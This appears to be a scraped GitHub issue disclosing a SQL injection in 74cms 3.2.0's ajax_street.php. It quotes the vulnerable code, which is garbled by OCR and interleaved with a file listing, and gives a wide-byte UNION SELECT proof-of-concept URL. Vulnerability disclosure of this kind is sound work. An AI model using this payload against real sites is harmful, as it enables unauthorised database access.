New issue

Jump to bottom

74cms 3.2.0 ajax_street.php key SQL inject #13

```
⊙ Open blindkey opened this issue on Feb 18, 2020 · 0 comments
```

⟨> Code ⊙ Issues 15 % Pull requests ⊙ Actions ⊞ Projects ① Security

```
blindkey commented on Feb 18, 2020
quite like the one #10
look at the file with the act = "key" below
|| help
|| hrtools
                                                          xit($htm);
|| html
|| include
|| install
                                                   lseif($act == 'key')
|| jobs
|| link
                                        40 el
41 {
42
43
44
                                                       $key=trim($_GET['key']);
if (!empty($key))
news
notice
iii plus

iii ajax_click.php

iii ajax_common.php
                                                      if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=iconv("utf-8",QISHI_DBCHARSET,$key);
$result = $db->query("select * from ".table('category')." where c_alias='QS_street'
    AND c_name LIKE '%{$key}*' ");
while($row = $db->fetch_array($result))
ajax_member.php
ajax_officebuilding.php
ajax_recommend.php
ajax_simple.php
                                                              if ($listtype=="li")
{
| ajax_user.php
| ajax_verify_email.php
| ajax_verify_mobile.php
                                                              $htm.="{$row['c_name']}
                                                                    ";
asyn_sms.php
shortcut.php
|| resume
                                                              *htm.="a href=\"?streetid={$row['c_id']}\" title=\"{$row['c_note']}\" class=
\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span>";
Ⅲ temp
temp
templates
user
wap
favicon.ico
                                                            (empty($htm))
index.php
                                                       $htm="<span class=\"noinfo\">ûÓĐÕÒμ½¹Ø¼ü×Ö£º <span>{$key}</span> Ïà¹ØuÀ·£i</span>";
$keys just get iconv and then pass to the sql ,and finally leads to sql inject ..
plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5(123666),9%23
```

P willindkey changed the title 74cms ajax_street.php key SQL inject 74cms 3.2.0 ajax_street.php key SQL inject on Feb 18, 2020

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone
Development
No branches or pull requests

1 participant

